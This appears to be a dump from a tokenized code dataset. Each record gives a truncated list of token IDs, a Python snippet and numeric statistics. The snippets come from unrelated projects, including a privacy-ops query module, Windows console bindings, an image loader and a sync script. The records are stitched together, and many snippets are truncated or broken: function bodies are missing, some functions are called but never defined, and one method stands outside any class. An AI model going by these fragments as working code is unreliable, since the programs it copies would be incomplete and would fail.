[ 4868, 64, 796, 17635, 198, 87, 796, 657, 198, 4514, 2124, 14512, 36006, 25, 198, 220, 2124, 796, 493, 7, 15414, 10786, 33111, 3529, 25, 705, 4008, 198, 220, 611, 2124, 407, 287, 1351, 64, 25, 198, 220, 220, 220, 1351, 64, 13, 3329...
2.126984
63
""" Copyright 2021 Janrey "CodexLink" Licas Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, s...
[ 37811, 198, 15269, 33448, 2365, 4364, 366, 43806, 1069, 11280, 1, 10483, 292, 198, 198, 26656, 15385, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 5832, 743, 407, 779, 428, 2393, 2845, 287, 11846, ...
3.347305
334
import logging import re from abc import ABC, abstractmethod from typing import Dict, Any, List, Set, Optional, Generic, TypeVar, Tuple from sqlalchemy import text from sqlalchemy.sql.elements import TextClause from fidesops.graph.config import ROOT_COLLECTION_ADDRESS, CollectionAddress from fidesops.graph.traversal ...
[ 11748, 18931, 198, 11748, 302, 198, 6738, 450, 66, 1330, 9738, 11, 12531, 24396, 198, 6738, 19720, 1330, 360, 713, 11, 4377, 11, 7343, 11, 5345, 11, 32233, 11, 42044, 11, 5994, 19852, 11, 309, 29291, 198, 198, 6738, 44161, 282, 26599,...
2.515464
873
print("debug_print: 42") print("") print("Hello") #! #<-># #debug_print: 42 # #Hello #<->#
[ 4798, 7203, 24442, 62, 4798, 25, 5433, 4943, 198, 4798, 7203, 4943, 198, 4798, 7203, 15496, 4943, 198, 2, 0, 198, 2, 27, 3784, 2, 198, 2, 24442, 62, 4798, 25, 5433, 198, 2, 198, 2, 15496, 198, 2, 27, 3784, 2, 198 ]
2.116279
43
from flask import request, redirect from .message import create_message_for_user from .tasks import send_message_to_bot
[ 6738, 42903, 1330, 2581, 11, 18941, 198, 198, 6738, 764, 20500, 1330, 2251, 62, 20500, 62, 1640, 62, 7220, 198, 6738, 764, 83, 6791, 1330, 3758, 62, 20500, 62, 1462, 62, 13645, 628, 628 ]
3.647059
34
#-*- coding:utf-8 -*- #import python packages from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.metrics.pairwise import cosine_similarity from sklearn.metrics import adjusted_rand_score from sklearn.metrics import silhouette_samples fr...
[ 2, 12, 9, 12, 19617, 25, 40477, 12, 23, 532, 9, 12, 198, 198, 2, 11748, 21015, 10392, 198, 6738, 1341, 35720, 13, 30053, 62, 2302, 7861, 13, 5239, 1330, 2764, 38469, 7509, 198, 6738, 1341, 35720, 13, 30053, 62, 2302, 7861, 13, 523...
2.802128
470
import torch import torch.nn as nn import framework.configbase import caption.encoders.vanilla import caption.decoders.attention import caption.models.attention import controlimcap.encoders.flat from caption.models.attention import MPENCODER, ATTNENCODER, DECODER
[ 11748, 28034, 198, 11748, 28034, 13, 20471, 355, 299, 77, 198, 198, 11748, 9355, 13, 11250, 8692, 198, 11748, 8305, 13, 12685, 375, 364, 13, 10438, 5049, 198, 11748, 8305, 13, 12501, 375, 364, 13, 1078, 1463, 198, 11748, 8305, 13, 275...
3.253012
83
""" Console ------- A module containing functions for interacting with a Windows console. """ from six import integer_types from pywincffi.core import dist from pywincffi.core.checks import NON_ZERO, NoneType, input_check, error_check from pywincffi.exceptions import WindowsAPIError from pywincffi.wintypes import HA...
[ 37811, 198, 47581, 198, 26866, 198, 198, 32, 8265, 7268, 5499, 329, 24986, 351, 257, 3964, 198, 41947, 13, 198, 37811, 198, 198, 6738, 2237, 1330, 18253, 62, 19199, 198, 198, 6738, 12972, 86, 1939, 487, 72, 13, 7295, 1330, 1233, 198, ...
2.57677
2,006
""" extracts the climate observation data from the xlsx spreadsheet to a csv file so that ens weather scripts can consume it. Looks in the folder os.environ["ENS_CLIMATE_OBS"] determines the relationship between the xlsx source and the csv destinations deleteds any csv's and regenerates them by exporting the ALL_DATa...
[ 37811, 198, 198, 2302, 974, 82, 262, 4258, 13432, 1366, 422, 262, 2124, 7278, 87, 30117, 284, 257, 269, 21370, 2393, 198, 568, 326, 3140, 6193, 14750, 460, 15000, 340, 13, 198, 198, 41102, 287, 262, 9483, 28686, 13, 268, 2268, 14692, ...
2.595908
782
n = int(input()) # takes the number of arguments mdict = {} for i in range(0,n): grades = input().split(" ") # self explanatory scores = list(map(float, grades[1:])) # since the first element from the list grades is the name of the student mdict[grades[0]] = sum(scores)/float(len(scores)) # the key is t...
[ 77, 796, 493, 7, 15414, 28955, 220, 1303, 2753, 262, 1271, 286, 7159, 198, 9132, 713, 796, 23884, 198, 1640, 1312, 287, 2837, 7, 15, 11, 77, 2599, 198, 220, 220, 220, 19051, 796, 5128, 22446, 35312, 7203, 366, 8, 220, 1303, 2116, ...
3.05303
132
# This is NOT zigzag conversion, instead it is # 1 5 9 # 2 4 6 8 . # 3 7 . print BestSolution().convert('abc', 2)
[ 198, 198, 2, 770, 318, 5626, 1976, 328, 50183, 11315, 11, 2427, 340, 318, 198, 2, 352, 220, 220, 642, 220, 220, 860, 198, 2, 362, 604, 718, 807, 764, 198, 2, 513, 220, 220, 767, 220, 220, 764, 198, 198, 4798, 6705, 46344, 22446,...
2.384615
52
import pandas as pd
[ 11748, 19798, 292, 355, 279, 67 ]
3.166667
6
import imageio # type: ignore import logging import numpy # type: ignore import os import pathlib import torch import torchvision # type: ignore import utils from torch import Tensor from typing import Callable def load(path: str, encoding: str = 'RGB') -> Tensor: ''' Loads the image at the given path usi...
[ 11748, 2939, 952, 220, 1303, 2099, 25, 8856, 198, 11748, 18931, 198, 11748, 299, 32152, 220, 1303, 2099, 25, 8856, 198, 11748, 28686, 198, 11748, 3108, 8019, 198, 11748, 28034, 198, 11748, 28034, 10178, 220, 1303, 2099, 25, 8856, 198, 1...
2.660406
1,331
#!/usr/bin/env python # -*- coding:utf-8 -*- import matplotlib.pyplot as plt import numpy as np from vertex import Vertex from heap import PriorityQueue def BFS_reset_vertices(self): for v in self.vertices.values(): v.reset() v.dist = float("inf") class MNodeGraph(NodeGraph...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 2, 532, 9, 12, 19617, 25, 40477, 12, 23, 532, 9, 12, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 11748, 299, 32152, 355, 45941, 198, 6738, 37423, 1330, 4643, ...
1.565881
1,442
import re with open('09.txt') as f: line = f.read() [n_player, turn] = [int(x) for x in re.search(r'(\d+)[^\d]*(\d+).*$', line).groups()] print(solve1(n_player, turn)) print(solve2(n_player, turn))
[ 11748, 302, 628, 198, 4480, 1280, 10786, 2931, 13, 14116, 11537, 355, 277, 25, 198, 220, 220, 220, 1627, 796, 277, 13, 961, 3419, 198, 220, 220, 220, 685, 77, 62, 7829, 11, 1210, 60, 796, 685, 600, 7, 87, 8, 329, 2124, 287, 302,...
2.076923
104
from fipeapi import CARRO, CAMINHAO, MOTO, consulta_preco_veiculo, pega_anos_modelo, pega_modelos from time import sleep if __name__ == '__main__': consulta_preco()
[ 6738, 277, 3757, 15042, 1330, 17368, 13252, 11, 32421, 1268, 7801, 46, 11, 337, 26631, 11, 5725, 64, 62, 3866, 1073, 62, 303, 291, 43348, 11, 613, 4908, 62, 40015, 62, 19849, 78, 11, 613, 4908, 62, 19849, 418, 198, 6738, 640, 1330, ...
2.529412
68
# -*- coding: utf-8 -*- from django.http import HttpResponse from servo.models import TaggedItem
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 198, 6738, 42625, 14208, 13, 4023, 1330, 367, 29281, 31077, 198, 6738, 1113, 78, 13, 27530, 1330, 309, 14655, 7449, 628, 198 ]
2.777778
36
from django.core.management.base import BaseCommand, CommandError from channels import Channel, Group, channel_layers import json from builtins import str
[ 6738, 42625, 14208, 13, 7295, 13, 27604, 13, 8692, 1330, 7308, 21575, 11, 9455, 12331, 198, 6738, 9619, 1330, 11102, 11, 4912, 11, 6518, 62, 75, 6962, 198, 11748, 33918, 198, 6738, 3170, 1040, 1330, 965, 628, 220, 220, 220, 220 ]
3.902439
41
from typing import List from django.template.defaultfilters import slugify from jcms.models.single_menu_item import SingleMenuItem
[ 6738, 19720, 1330, 7343, 198, 6738, 42625, 14208, 13, 28243, 13, 12286, 10379, 1010, 1330, 31065, 1958, 198, 6738, 474, 46406, 13, 27530, 13, 29762, 62, 26272, 62, 9186, 1330, 14206, 23381, 7449, 628 ]
3.882353
34
# Hysteresis class to model battery charging / discharge hysteresis # Copyright (C) 2022 Dave Gutz # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; # version 2.1 of the License. # # This...
[ 2, 6707, 4169, 411, 271, 1398, 284, 2746, 6555, 11642, 1220, 17655, 2537, 4169, 411, 271, 198, 2, 15069, 357, 34, 8, 33160, 9935, 27549, 89, 198, 2, 198, 2, 770, 5888, 318, 1479, 3788, 26, 345, 460, 17678, 4163, 340, 290, 14, 273,...
3.073034
356
from django.urls import path from home.views import IndexView urlpatterns=[ path('', IndexView.as_view(),name='index'), ]
[ 6738, 42625, 14208, 13, 6371, 82, 1330, 3108, 198, 6738, 1363, 13, 33571, 1330, 12901, 7680, 628, 198, 6371, 33279, 82, 41888, 198, 220, 220, 220, 3108, 10786, 3256, 12901, 7680, 13, 292, 62, 1177, 22784, 3672, 11639, 9630, 33809, 198, ...
3.02381
42
# Generated by the protocol buffer compiler. DO NOT EDIT! # source: groundstation/proto/object_list.proto from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import descriptor_pb2 # @@protoc_in...
[ 2, 2980, 515, 416, 262, 8435, 11876, 17050, 13, 220, 8410, 5626, 48483, 0, 198, 2, 2723, 25, 2323, 17529, 14, 1676, 1462, 14, 15252, 62, 4868, 13, 1676, 1462, 198, 198, 6738, 23645, 13, 11235, 672, 3046, 1330, 43087, 355, 4808, 2014...
2.703252
492
"""@file This file is responsible for extracting website from google search results and formatting them for later use. """ import json from urllib.parse import urlparse import nltk import os tc = 0 cp = 0 def find_website(raw_data): """ Uses several rule based techniques to find candidate websites for a compa...
[ 37811, 31, 7753, 198, 1212, 2393, 318, 4497, 329, 37895, 3052, 422, 23645, 2989, 2482, 290, 33313, 606, 329, 1568, 779, 13, 198, 37811, 198, 11748, 33918, 198, 6738, 2956, 297, 571, 13, 29572, 1330, 19016, 29572, 198, 11748, 299, 2528, ...
2.182753
1,751
from functools import reduce as rd if __name__ == "__main__": print(main())
[ 6738, 1257, 310, 10141, 1330, 4646, 355, 374, 67, 628, 198, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 3601, 7, 12417, 28955, 198 ]
2.677419
31
from rest_framework.serializers import ModelSerializer from .models import Degree, Job, Skill, DataOrigin, Address, Qualification, User
[ 6738, 1334, 62, 30604, 13, 46911, 11341, 1330, 9104, 32634, 7509, 198, 6738, 764, 27530, 1330, 34486, 11, 15768, 11, 16023, 11, 6060, 39688, 11, 17917, 11, 9537, 2649, 11, 11787, 628, 628, 628, 628, 628, 198 ]
3.945946
37
import urllib.request urls = [ "https://www.google.com","httpr://www.python.org" ] for link in urls: request = urllib.request.Request( link) response = urllib.request.urlopen( request) ''' action here ''' '''\ NORMAL: sloooow [][][] [][] [][]{}{} {}{}{} {}{}{} {} THREADING: st...
[ 11748, 2956, 297, 571, 13, 25927, 198, 198, 6371, 82, 796, 685, 366, 5450, 1378, 2503, 13, 13297, 13, 785, 2430, 2804, 1050, 1378, 2503, 13, 29412, 13, 2398, 1, 2361, 198, 1640, 2792, 287, 2956, 7278, 25, 198, 220, 220, 220, 2581, ...
1.992126
254
import collections from django.db import models import contacts.models as cont
[ 11748, 17268, 198, 198, 6738, 42625, 14208, 13, 9945, 1330, 4981, 198, 198, 11748, 13961, 13, 27530, 355, 542, 628 ]
4.1
20
""" Leetcode #137 """ from typing import List from collections import Counter if __name__ == "__main__": solution = Solution() assert solution.singleNumber([2,2,3,2]) == 3 assert solution.singleNumber([0,1,0,1,0,1,99]) == 99 assert solution.singleNumber_NO_SPACE([2,2,3,2]) == 3 assert so...
[ 37811, 198, 220, 220, 220, 1004, 316, 8189, 1303, 19708, 198, 37811, 628, 198, 6738, 19720, 1330, 7343, 198, 6738, 17268, 1330, 15034, 628, 198, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 628, 220, 220, 220, 4610, 7...
2.537415
147
import json from algorithm_ncs import ncs_c as ncs import argparse parser = argparse.ArgumentParser(description="This is a NCS solver") parser.add_argument("-c", "--config", default="algorithm_ncs/parameter.json", type=str, help="a json file that contains parameter") parser.add_argument("-d", "--data", default="6", ...
[ 11748, 33918, 198, 198, 6738, 11862, 62, 77, 6359, 1330, 299, 6359, 62, 66, 355, 299, 6359, 198, 11748, 1822, 29572, 628, 198, 48610, 796, 1822, 29572, 13, 28100, 1713, 46677, 7, 11213, 2625, 1212, 318, 257, 399, 7902, 1540, 332, 4943...
2.395349
473
# name # name of the package short string (1) # version # version of this release short string (1)(2) # author # package authors name short string (3) # author_email # email address of the package author email address (3) # maintainer # package maintainers name short string (3) # maintainer_email # ...
[ 2, 1438, 198, 2, 220, 220, 1438, 286, 262, 5301, 220, 197, 19509, 4731, 220, 197, 7, 16, 8, 198, 2, 2196, 198, 2, 220, 220, 2196, 286, 428, 2650, 220, 197, 19509, 4731, 220, 197, 7, 16, 5769, 17, 8, 198, 2, 1772, 198, 2, 220...
2.313225
862
from setuptools import setup setup(name='cctable', version='0.3', description='Frontend visualizing accouting data.', url='github.com/elcolumbio/cctable', author='Florian Benk', author_email='f.benkoe@innotrade24.de', license='Apache License, Version 2.0 (the "License")', pack...
[ 6738, 900, 37623, 10141, 1330, 9058, 198, 198, 40406, 7, 3672, 11639, 66, 310, 540, 3256, 198, 220, 220, 220, 220, 220, 2196, 11639, 15, 13, 18, 3256, 198, 220, 220, 220, 220, 220, 6764, 11639, 25886, 437, 5874, 2890, 697, 13660, 13...
2.431655
139
"""Auto-generate custom TextX AST classes.""" import re try: import black except ImportError: black = None GRAMMAR_RULE_REGEX = re.compile( r"([a-zA-Z_]\w*)\s*:(((['\"];['\"])|[^;])+);", re.S ) RULE_MEMBER_REGEX = re.compile( r"([a-zA-Z_]\w*)\s*([?\+\*]?)=\s*([^\s]+)", re.S ) if black is not None: ...
[ 37811, 27722, 12, 8612, 378, 2183, 8255, 55, 29273, 6097, 526, 15931, 198, 198, 11748, 302, 198, 198, 28311, 25, 198, 220, 220, 220, 1330, 2042, 198, 16341, 17267, 12331, 25, 198, 220, 220, 220, 2042, 796, 6045, 198, 198, 10761, 2390,...
2.197218
1,222
#!/usr/bin/env python """ Run the microdata testing locally """ # You may want to adapt this to your environment... import sys sys.path.append("..") import glob from pyMicrodata import pyMicrodata from rdflib import Graph ########################################### # marshall all test HTML files test_path = "../test...
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 37811, 198, 10987, 262, 4580, 7890, 4856, 15726, 198, 37811, 198, 2, 921, 743, 765, 284, 6068, 428, 284, 534, 2858, 986, 198, 11748, 25064, 198, 198, 17597, 13, 6978, 13, 33295, 7203, ...
3.06278
223
# -*- coding: utf-8 -*- # https://oldj.net/ u""" python syncdir.py source_dir target_dir source_dir target_dir source_dir target_dir source_dir target_dir source_dir """ import os import sys import shutil if __name__ == "__main__": # if len(sys.argv) != 3: # if "-h" in sys.argv or "--...
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 3740, 1378, 727, 73, 13, 3262, 14, 198, 198, 84, 37811, 628, 628, 198, 29412, 6171, 10210, 343, 13, 9078, 2723, 62, 15908, 2496, 62, 15908, 198, 198, 10459, 62, 1...
2.234146
410
# Copyright 2018 SpiderOak, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writi...
[ 2, 15069, 2864, 12648, 42426, 11, 3457, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198, 2,...
3.610294
272
import numpy as np from numpy import sin, cos, tan, degrees, radians, arctan, arcsin # Slip projections ## To/From offset ## Others def beta_from_dip_rake(dip, rake): ''' Returns beta, the angle (in degrees) between the strike and the trend of apparent dip. ''' return degrees( arctan( ta...
[ 11748, 299, 32152, 355, 45941, 198, 6738, 299, 32152, 1330, 7813, 11, 8615, 11, 25706, 11, 7370, 11, 2511, 1547, 11, 610, 310, 272, 11, 44606, 259, 198, 198, 2, 49988, 19887, 198, 2235, 1675, 14, 4863, 11677, 628, 628, 628, 628, 628...
2.746667
150
import logging from datetime import datetime, timedelta from normality import ascii_text from sqlalchemy import func from sqlalchemy.dialects.postgresql import JSONB from sqlalchemy.orm.attributes import flag_modified from aleph.core import db from aleph.model.metadata import Metadata from aleph.model.validate import ...
[ 11748, 18931, 198, 6738, 4818, 8079, 1330, 4818, 8079, 11, 28805, 12514, 198, 6738, 2593, 1483, 1330, 355, 979, 72, 62, 5239, 198, 6738, 44161, 282, 26599, 1330, 25439, 198, 6738, 44161, 282, 26599, 13, 38969, 478, 82, 13, 7353, 34239, ...
3.67052
173
try: from main import ClassA, ClassB except: try: from pyInet import ClassA, ClassB except: from pyInet.main import ClassA, ClassB if __name__ == "__main__": child = ClassA #Public Class network = ClassB #Private Class print("Call function using public...
[ 28311, 25, 201, 198, 220, 220, 220, 422, 1388, 1330, 5016, 32, 11, 5016, 33, 201, 198, 16341, 25, 201, 198, 220, 220, 220, 1949, 25, 201, 198, 220, 220, 220, 220, 220, 220, 220, 422, 12972, 818, 316, 1330, 5016, 32, 11, 5016, 33...
1.858295
868
# # MIT License # # Copyright (c) 2020 Keisuke Sehara # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, me...
[ 2, 198, 2, 17168, 13789, 198, 2, 198, 2, 15069, 357, 66, 8, 12131, 3873, 271, 4649, 1001, 71, 3301, 198, 2, 198, 2, 2448, 3411, 318, 29376, 7520, 11, 1479, 286, 3877, 11, 284, 597, 1048, 16727, 257, 4866, 198, 2, 286, 428, 3788,...
3.313373
501